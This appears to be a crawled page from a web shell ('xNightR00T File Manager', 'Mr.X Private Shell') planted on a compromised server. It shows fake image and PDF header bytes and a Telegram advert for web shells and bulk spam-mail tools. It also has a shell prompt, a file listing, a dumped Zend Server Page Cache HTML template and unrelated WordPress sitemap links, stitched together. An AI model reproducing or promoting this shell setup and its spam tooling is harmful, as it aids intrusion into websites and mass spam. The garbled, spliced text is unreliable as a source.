xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<page-header title="Page Cache" description="
             The Zend Page Cache improves PHP application performance by caching the entire output of 
             PHP scripts (HTML, XML, etc.), while still maintaining dynamic capabilities through an 
             elaborate rules system. Page caching extends the concept of caching files and applies it to pages. 
             Caching by page facilitates the ability to eliminate situations where the same file is used in multiple instances, 
             such as when the same file is used to redirect to several pages.
			 Zend Server Page Cache does not require any code changes and can be easily applied to existing applications. 
			 Moreover, while other caching solutions still run some code on recurring executions, the cache does not run 
			 any code to display the cached content, which results in improved performance.
             " read-more-link="{{helpLinkService.get('page_cache')}}"></page-header>

<span ng-if="zrayEnabled" class="limitedTopMessage">
    Page Cache will not store or fetch cached pages when Z-Ray is enabled
</span>

<span ng-if="zrayEnabled" style="padding-bottom: 8px;">&nbsp;</span>
        
<nav id="new-tabs-container">
    <ul>
        <li ng-click="ui.activateTab('Pulse');" class="diagonal-tab" ng-class="{'active': (ui.activeTab == 'Pulse')}">Pulse</li>
        <li ng-click="ui.activateTab('List');" class="diagonal-tab" ng-class="{'active': (ui.activeTab == 'List')}">Rules</li>
    </ul>
</nav>


<div class="dc-tab-section" ng-if="ui.activeTab == 'List'&& !isLoading">

	<div class="z-row z-filter-bar dc-filter-bar" style="overflow:visible;">
        <div class="float-right">
        	<a class="btn btn-default" ng-disabled="!privileges.isAllowedToExportRules" href="/ZendServer/PageCache/export?applicationId={{listFilter.application}}" title="Export Rules">Export Rules</a>
	        <span permission-tooltip condition="!privileges.isAllowedToClearCache">
		        <a class="btn btn-default" ng-disabled="!privileges.isAllowedToClearCache"  ng-click="toolbar.clearEntireCache();"  title="Clear Entire Cache">Clear Entire Cache</a>
		    </span>
        </div>
		<div>
			<dl>
	            <dt>Application</dt>
	             <dd>
	                 <select zend-select options="{minWidth: 150}" is-fully-loaded="listFilter.applicationsLoaded" class="pcFilterSelectApp" ng-model="listFilter.application" ng-change="listFilter.setValues();">
	                     <option ng-repeat="(appId, appName) in listFilter.applications" value="{{appId}}">{{appName}}</option>
	                 </select>
	             </dd>
	        </dl>
		</div>
    </div>
	
	<ul id="z-tabs" class="ng-scope">
	    <li ng-class="{'z-active-tab': tabs.currentTab == 'RequestRules'}" ng-click="ui.activeRulesTab='RequestRules'; tabs.setTab('RequestRules');">Request Rules</li>
	    <li ng-class="{'z-active-tab': tabs.currentTab == 'ResponseRules'}" ng-click="ui.activeRulesTab='ResponseRules'; tabs.setTab('ResponseRules');">Response Rules</li>
	    <!-- li ng-class="{'z-active-tab': tabs.currentTab == 'PurgeRules'}" ng-click="ui.activeRulesTab='PurgeRules'; tabs.setTab('PurgeRules');">Purge Rules</li-->
	</ul>
	
	<div class="dc-tab-section" ng-if="ui.activeRulesTab == 'RequestRules'">
		<div class="grid-action-bar">
		    <span permission-tooltip condition="! privileges.isAllowedToClearCache">
		        <a class="btn btn-default" ng-disabled="!privileges.isAllowedToDeleteRules || disbaledCreateNewRuleButton" ng-href="#!/caching/page-cache/create/{{listFilter.application}}" title="Create new Rule" disabled="disabled">Create new Rule</a>
		    </span>
		    <span permission-tooltip condition="! privileges.isAllowedToDeleteRules">
		        <a class="btn btn-default" ng-disabled="!toolbar.buttons.enabled || !privileges.isAllowedToDeleteRules" ng-click="toolbar.remove();" title="Delete rule(s)" disabled="disabled">Delete Selected</a>
		    </span>
		     <span permission-tooltip condition="! privileges.isAllowedToDisableRulesCache">
	            <a class="btn btn-default" title="Disable Selected" ng-click="doDisable();" ng-disabled="!privileges.isAllowedToDisableRulesCache || !toolbar.buttons.enabled">Disable Selected</a>
	        </span>
	        <span permission-tooltip condition="! privileges.isAllowedToDisableRulesCache">
	            <a class="btn btn-default" title="Enable Selected" ng-click="doEnable();" ng-disabled="!privileges.isAllowedToDisableRulesCache || !toolbar.buttons.enabled">Enable Selected</a>
	        </span>
		    <span permission-tooltip condition="! privileges.isAllowedToClearRulesCache">
		        <a class="btn btn-default" ng-disabled="!toolbar.buttons.enabled || !privileges.isAllowedToClearRulesCache" ng-click="toolbar.clearCache();" title="Clear cache" disabled="disabled">Clear Cache</a>
		    </span>
		</div>
		
		<div ui-grid="newlist.grid" ui-grid-auto-resize ui-grid-draggable-rows class="auto-height newList">
		    <div class="ui-grid-empty" ng-show="!isLoading && newlist.grid.data.length == 0">No results were found</div>
		    <div class="ui-grid-empty" ng-show="isLoading"><i class="fa fa-spinner fa-spin"></i> Loading...</div>
		</div>
	</div>
	
	<form  name="forms.myForm" ng-submit="saveClick()">
		<div class="dc-tab-section" ng-if="ui.activeRulesTab == 'ResponseRules'">
			<div class="row responseTitleDiv" style="margin-top: 20px;">
				<span>Define a status code of response that you want to cache (x-format numbers).<br>
	                  You can use response headers to determine if something is to be cached or not.</span>
			</div>
			<div class="row responseTitleDiv">
				<span id="condition-count">1</span>
	        	<span>Cache only if the Response Code one of : <i title="See how using Page Cache improved apps performance" class="glyphicons glyphicons-info-sign avg-request-time-btn"></i></span>
	        </div>
	        <div class="condition-panel" style="margin-left:17px;">
	             <input type="text" ng-model="formData.responseCode" class="ng-pristine ng-untouched ng-valid ng-isolate-scope ng-not-empty">
	         </div>
	        
	        <div class="row responseTitleDiv">
				<span id="condition-count">2</span>
	        	<span>Don&apos;t cache if at least one the following conditions is met:</span>
	        </div>
	        <div class="condition-panel" style="margin-left:17px;">
	             <table class="conditionsTable" id="conditionsTable">
	                 <tr ng-if="formData.responseConditions.length === 0"><td style="padding-bottom: 10px;" ><span>No further conditions on query string</span></td></tr>
	                 <tr ng-repeat="(key, condition) in formData.responseConditions">
	                     <td class="headerNameTd"><span class='nameTitle'>Header name:</span></td>
	                     <td><input type="text" class="globalKey" ng-model="condition.element"></td>
	                     <td>
	                         <select class="globalMatch" ng-model="condition.type" ng-change="onConditionMatchChange(condition)">
	                             <option ng-repeat="(key, value) in dictionaryGlobalMatchTypeJson" value="{{key}}">{{value}}</option>
	                         </select>
	                     </td>
	                     <td><input type="text" class="globalValue" ng-model="condition.value" ng-disabled="['exists', 'not_exists'].indexOf(condition.type) > -1"></td>
	                     <td class="valign-middle"><a class="btn btn-gray" title="Remove cache condition" ng-click="removeCondition(key)"><i class="fa fa-times"></i></a></td>
	                 </tr>
	                 <tr id="add-condition">
	                     <td><a class="btn btn-gray" ng-click="addNewResponseCacheCondition();" title="Add a new caching condition">Add Condition</a></td>
	                 </tr>
	            </table>
	            
	             <input ng-if="listFilter.application != -1" type="checkbox" value="true" ng-model="formData.inheritGlobals">
	             <label ng-if="listFilter.application != -1" for="inherit-global-checkbox">Apply global conditions as well</label> 
	        </div>
		</div>
	</form>
	
	<div ng-if="ui.activeRulesTab == 'ResponseRules'" id="page-cahce-edit-action-bar" class="grid-action-bar responseTitleDiv">
	    <fieldset class="reset-fieldset" ng-disabled="isSaving">
	        <a class="btn btn-blue" ng-disabled="!isAllowedSaveRule || forms.myForm.$pristine" ng-click="saveClick()">
	            <span ng-show="!isSaving">Save</span>
	            <span ng-show="isSaving"><i class="fa fa-spinner fa-spin"></i> Saving...</span>
	        </a>
	    </fieldset>
	</div>
</div>

<!-- display spinner, before the initial loading -->
<div class="tab-section" ng-if="isLoading" style="height: 50px; line-height: 50px;">
    <div class="settings-form-wrapper">
        <i class="fa fa-spin fa-spinner"></i> Loading...
    </div>
</div>

<div class="dc-tab-section" ng-if="ui.activeTab == 'Pulse' && !isLoading">

    <div ng-show="isAllowedPCWebAPI && !globalFirstPCTimestamp && !contentIsRefreshing && !isLoading">

         <ul class="dc-insights-new-inline">
            <li class="dcWhatisNew">
                <div ng-click="goHelp()" class="dc-insights-whatisnew-cell-wrapper dc-insights-new-cell">
                    What is Page Cache?
                </div>
            </li>
            <li class="dcWhitePaper">
                <div ng-click="goToWhitePaper()" class="dc-insights-white-paper-cell-wrapper dc-insights-new-cell">
                    Read Online
                </div>
            </li>
            <li class="dcApi">
                <div ng-click="goToAPI()" class="dc-insights-api-cell-wrapper dc-insights-new-cell">
                    Page Cache API
                </div>
            </li>
        </ul>
        <p class="section_description dc-description">
            The Zend Page Cache improves PHP application performance by caching the entire output of PHP scripts (HTML, XML, etc.), 
            while still maintaining dynamic capabilities through an elaborate rules system. Page caching extends the concept of caching 
            files and applies it to pages. Caching by page facilitates the ability to eliminate situations where the same file is used in 
            multiple instances, such as when the same file is used to redirect to several pages.
			Zend Server Page Cache does not require any code changes and can be easily applied to existing applications. Moreover, while 
			other caching solutions still run some code on recurring executions, the cache does not run any code to display the cached content, 
			which results in improved performance.
        </p>
        <br/>
        <hr/><br/>
        <div id="pc-dummy-image" class=""></div>
    </div>

    <div ng-if="isEnabled === false">
        <br/>
        <div class="warningTopMessage">Page Cache Pulse is disabled, <strong><a href="#!/administration/components?search=zend_pagecache.enable&grid=Zend%20Page%20Cache">Click Here</a></strong> to view Page Cache settings</div>
        <br/>
    </div>

    <div ng-if="isAllowedPCWebAPI && globalFirstPCTimestamp">
    
        <!-- filter -->
        <div class="z-row z-filter-bar dc-filter-bar" style="overflow:visible;">

           <!-- refresh -->
           <div class="z-basic-filter-right-side">
               <div class="buttons-on-right">
                   <span class="refreshSpaceSeparator"></span>
                   <span class="autoRefreshSeparator"></span>
                   <span class="logs_toolbar_group_item">
                       <span class="logs_toolbar_group_item">

                           <input type="checkbox" id="dc-auto-refresh-checkbox" ng-model="autoRefreshObj.autoRefreshCheckbox" ng-click="manageAutorefresh()"> 
                           <label for="dc-auto-refresh-checkbox">Auto refresh every</label> <input type="number" class="auto-refresh-interval" ng-model-options="{debounce: 1000}" min="2" max="600" id="auto-refresh-interval" size="2" ng-model="autoRefreshObj.autoRefreshInterval"> seconds
                       </span>
               </div>
               <button class="buttons-on-right" title="Refresh page data" ng-click="reload(true)">Refresh now</button>
               <span ng-show="contentIsRefreshing && !isLoading" id="logs_file_content_refresh_icon">Refreshing</span>
           </div>

           <dl>
               <dt>Application</dt>
                <dd>
                    <select zend-select is-fully-loaded="filter.applicationsLoaded" class="cacheFilterSelectApp" ng-model="filter.application" ng-change="filter.setValues();">
                        <option value="0">All</option>
                        <option ng-repeat="(appId, appName) in filter.applications" value="{{appId}}">{{appName}}</option>
                        <option ng-if="(filter.applications | numkeys) > 0" value="-1">Unmanaged Code</option>
                    </select>
                </dd>
                <dt>Rule Name</dt>
                <dd>
                    <select zend-select is-fully-loaded="filter.applicationsLoaded && filter.rulesListLoaded" class="cacheFilterSelectType" ng-model="filter.rule" ng-change="filter.setValues();">
                        <option value="-1">All Rules</option>
                        <optgroup label="{{appName}}" ng-repeat="(appId, appName) in filter.applications" ng-if="countRulesByAppId(appId) > 0">
                           <option ng-repeat="(ruleId, rule) in filter.rules" ng-if="rule.app == appId" value="{{rule.id}}">{{rule.name}}</option> 
                        </optgroup>
                        <optgroup label="Global Rules" ng-if="countRulesByAppId(-1) > 0">
                           <option ng-repeat="(ruleId, rule) in filter.rules" ng-if="rule.app == '-1'" value="{{rule.id}}">{{rule.name}}</option> 
                        </optgroup>
                    </select>
                </dd>
                <dt>Period</dt>
                <dd>
                    <select zend-select ng-model="filter.period" ng-change="filter.setValues();">
                        <option value="2">2 hours</option>
                        <option value="24">1 day</option>
                        <option value="168">Week</option>
                        <option value="336">2 Weeks</option>
                        <option ng-if="serverData['edition'] != 'DEVELOPER'" value="720">Month</option>
                        <option ng-if="serverData['edition'] != 'DEVELOPER'" value="2160">3 Months</option>
                        <option ng-if="serverData['edition'] != 'DEVELOPER' && serverData['edition'] != 'PROFESSIONAL'" value="4320">6 Months</option>
                        <option ng-if="serverData['edition'] != 'DEVELOPER' && serverData['edition'] != 'PROFESSIONAL'" value="8640">Year</option>
                        <option ng-if="serverData['edition'] != 'DEVELOPER' && serverData['edition'] != 'PROFESSIONAL'" value="43200">5 Years</option>
                    </select>
                </dd>
                <dt><div class="firstUsage" ng-show="isfirstPCTimestampInRange">First usage : {{firstPCTimestamp * 1000| formatDate}}</div></dt>
            </dl>
        </div>

        <ul class="dc-insights-list-inline">
            <li>
                <div class="dc-insights-cell-wrapper">
                    <strong title="Page requests that met a cache rule">{{(totalPCRequests) | formatNumber}}</strong>
                    <p>Total page cache requests</p>
                </div>
            </li>
            <li>
                <div class="dc-insights-cell-wrapper">
                    <strong title="Total number of page cache requests divided by the number of minutes in the time frame">{{requestsAvg| formatNumber}}</strong>
                    <p>Average requests per minute</p>
                </div>
            </li>
            <li>
                <div class="dc-insights-cell-wrapper">
                    <strong title="Total number of hits divided by the number of minutes in the time frame">{{hits| formatNumber}}</strong>
                    <p>Average hits per minute</p>
                </div>
            </li>
            <li>
                <div class="dc-insights-cell-wrapper">
                    <strong title="Total number of misses divided by the number of minutes in the time frame">{{misses| formatNumber}}</strong>
                    <p>Average misses per minute</p>
                </div>
            </li>
        </ul>

        <div class="mainSectionPCPulse">
        	<div class="graph-blocker" ng-show="totalPCRequests == 0">No Data</div>
            <div id="z-exe-hits-misses"></div>
            <div class="graph-blocker" ng-show="totalPCRequests == 0">No Data</div>
            <div id="z-exe-hits-ratio"></div>
        </div>
        
        <div class="sideSectionPCPulse">
            <div class="sideDiv">
                <div class="row rowAvgTitle">
                	<h2>Served by Cache <i title="See how using Page Cache improved apps performance" class="glyphicons glyphicons-info-sign avg-request-time-btn"></i></h2>
                    <span class="hitsRatioTitle-top" ng-bind-html="hitsRationSubTitle">
                    </span>
                </div>
                <div class="row" style="margin-top: 5px;">
	                <div>
                 	   <span class="ratio-success requestNumber" title="The number of requests that were served by the Page Cache and had 0 server time">{{totalHits| formatNumber}}</span>
	                   <span> hits</span>
	                </div>
                </div>
                 <div class="row" style="margin-top:10px;">
                    <div>
                        (<span class="ratio-success avgNumber" ng-attr-title="{{getRequestPercentTitle()}}">{{pcRequestPercent}}<span class="ratio-success avgNumberSmall" ng-attr-title="{{getRequestPercentTitle()}}">%</span></span> of all requests)
                    </div>
                 </div>
                 <div class="row clock-avg-row" style="margin-top:25px;" title="Average response time per request">
                	<div class="timeAvgRow timeAvgRowLeft">
                		<div class="ratio-danger timeAvgNumberTitle">Before</div>
                		<div>
                			<span class="beforeTimeAvg ratio-danger timeAvgNumber" ng-bind-html="beforeSavedTimeAvg"></span>
                		</div>
                	</div>
                	<div class="timeAvgRow timeAvgRowCenter">
                    	<span><i class="glyphicons glyphicons-clock stopWatchTimeAvg"></i></span>
                	</div>
                	<div class="timeAvgRow timeAvgRowRight">
                		<div class="ratio-success timeAvgNumberTitle">After</div>
                		<div>
                			<span ng-show="totalPCRequests > 0 || $scope.totalRequests > 0" class="beforeTimeAvg ratio-success timeAvgNumber">~0ms</span>
                			<span ng-show="totalPCRequests == 0 || $scope.totalRequests == 0" class="beforeTimeAvg ratio-success timeAvgNumber">N/A</span>
                		</div>
                    </div>
                </div>
                <div class="row pcRowAvgLast"></div>
                <div class="row" style="margin-top:15px;">
	                <div style="margin-top:5px;margin-bottom:10px;">
	                    <span class="hitsRatioTitle">Server time saved</span>
	                </div>
	                <div>
	                    <span class="hitsRatioValue ratio-success" title="% of the server time that was saved by using the Page Cache"><small class="smallRatioSuccess smallRatioSuccessHidden">%</small>{{savedPercent}}<span class="smallRatioSuccess">%</span></span>
	                </div>
                </div>
            </div>
        </div>
        
        
        <div class="cacheSizeBox" ng-if="isAllowedPCWebAPI && globalFirstPCTimestamp">
        	<div class="rowLine"></div>
		    <div class="cacheSize">
		    	<span  class="cacheTitle" ng-attr-title="{{getSizeTitle()}}" class="hitsRatioTitle">Total Cache Size 
		    		<i ng-attr-title="{{getSizeTitle()}}" class="glyphicons glyphicons-info-sign cache-memory-info-btn"></i>
		    	 :</span>
		        <span ng-bind-html="disk_size" ng-class="{rightBorder: (metadata.cache_size.value >= 0)}"></span>
		    
		        <span  class="cacheTitle" ng-attr-title="The number of cached pages" class="hitsRatioTitle">Total count of cached items
		    		<i ng-attr-title="{{getCopiesTitle()}}" class="glyphicons glyphicons-info-sign cache-memory-info-btn"></i>
		    	 :</span>
		        <span ng-bind-html="pages_size" ng-class="{rightBorder: metadata.cache_size}"></span>
		        
		        <span  class="cacheTitle" ng-attr-title="Clear page cache" class="hitsRatioTitle">Clear page cache:</span>
		        <a ng-if="metadata.cache_size" class="btn clearDCButton" ng-click="clearCache()" title="Clear Cache">
		        	<i class="glyphicons glyphicons-cleaning"></i>
		    	</a>
		    </div>
    </div>
</div>

Filemanager

Name Type Size Permission Actions
edit-rule.html File 11.73 KB 0644
list.html File 20.49 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml